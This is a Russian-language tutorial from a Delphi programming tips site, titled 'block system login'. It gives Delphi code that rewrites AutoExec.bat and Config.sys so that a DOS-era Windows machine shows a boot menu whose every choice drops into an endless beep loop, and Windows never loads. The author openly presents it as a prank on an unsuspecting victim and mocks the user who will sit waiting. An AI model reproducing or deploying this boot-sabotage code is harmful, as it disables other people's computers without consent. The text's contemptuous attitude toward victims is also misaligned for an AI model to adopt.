Заблокировать вход в систему

Delphi , ОС и Железо , Windows

Вы когда-нибудь видели меню в DOS'е? Ну, например, то самое, которое появляется по нажатию на F8 до загрузки Windows. А представьте себе, если у вас оно будет появляться без всяких нажатий на клавиши, да ещё и пункты меню будут с заданными вами заголовками, ну, и, наконец, если не по одному из пунктов меню вы не сможете загрузить Windows...

Для этого нам понадобятся два системных файла, умение делать копию в буфер обмена (дабы не писать тот код, что я вам сейчас покажу) и ламерюга, на котором вы бы хотели всё это испытать.

Ну, за последним дело не постоит, а сначала нужно сделать следующее:

1. Выносим компонент класса TMemo - это большое текстовое поле (мы уже учились использовать переменные для взаимодействия с файлами, когда выводили сообщение во время загрузки системы, теперь будем использовать компоненты).
2. По созданию окна пишем:

procedure TForm1.FormCreate(Sender: TObject);
begin
  with Memo1.Lines do
  begin
    Clear;
    LoadFromFile('C:\AutoExec.bat');
    Insert(3,'goto %config%');
    Insert(4,':FuckSystem');
    Append('beep');
    Append('goto FuckSystem');
    Append(':HackSystem');
    Append('beep');
    Append('goto HackSystem');
    Append(':exit');
    SaveToFile('C:\AutoExec.bat');

    Clear;
    LoadFromFile('C:\Config.sys');
    Append('[menu]');
    Append('menuitem=HackSystem, HackSystem');
    Append('menuitem=FuckSystem, FuckSystem');
    Append('[FuckSystem]');
    Append('[HackSystem]');
    SaveToFile('C:\Config.sys');
  end;
end;

Мы использовали два системных файла. Это AutoExec.bat и Config.sys. В текстовое поле по имени Memo1 поочерёдно помещаем содержимое файлов с помощью метода LoadFromFile и добавляем нужный код. В конфиге мы создаём меню, которое будет отображать при загрузке системы. Состоять оно будет из двух пунктов: HackSystem и FuckSystem. А в автоэкзэке описываем, что по нажатию на том или ином пункте меню машина будет зацикливаться... т.е. глупый пользователь, взяв один из пунктов меню будет сидеть и ждать, пока не запустится Windows, любуясь на заставку маст-дая с облачками и остальными причиндалами. Ему не в жизнь не догадаться нажать Esc, а если нажмёт, то то, что он увидит... м-да... лучше сто раз увидеть, чем один раз заиметь...

Статья Заблокировать вход в систему раздела ОС и Железо Windows может быть полезна для разработчиков на Delphi и FreePascal.

Комментарии и вопросы

:: Главная :: Windows ::